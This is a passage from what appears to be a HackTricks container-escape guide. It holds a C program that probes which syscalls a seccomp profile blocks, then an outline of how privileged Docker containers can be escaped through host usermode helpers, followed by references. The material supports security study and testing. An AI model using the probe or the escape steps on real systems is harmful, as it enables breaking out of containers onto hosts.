#include <sys/syscall.h>
|
||
#include <unistd.h>
|
||
#include <stdio.h>
|
||
#include <errno.h>
|
||
|
||
int main()
|
||
{
|
||
for(int i = 0; i < 333; ++i)
|
||
{
|
||
if(i == SYS_rt_sigreturn) continue;
|
||
if(i == SYS_select) continue;
|
||
if(i == SYS_pause) continue;
|
||
if(i == SYS_exit_group) continue;
|
||
if(i == SYS_exit) continue;
|
||
if(i == SYS_clone) continue;
|
||
if(i == SYS_fork) continue;
|
||
if(i == SYS_vfork) continue;
|
||
if(i == SYS_pselect6) continue;
|
||
if(i == SYS_ppoll) continue;
|
||
if(i == SYS_seccomp) continue;
|
||
if(i == SYS_vhangup) continue;
|
||
if(i == SYS_reboot) continue;
|
||
if(i == SYS_shutdown) continue;
|
||
if(i == SYS_msgrcv) continue;
|
||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||
printf("Error\n");
|
||
else
|
||
printf("OK\n");
|
||
}
|
||
}
|
||
```
|
||
|
||
````
|
||
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
### Container Breakout through Usermode helper Template
|
||
|
||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||
|
||
- Find the **path of the containers filesystem** inside the host
|
||
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
|
||
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||
- You should be able to **execute the trigger from inside the host**
|
||
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||
|
||
## References
|
||
|
||
- [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB)
|
||
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||
- [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||
- [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
|
||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|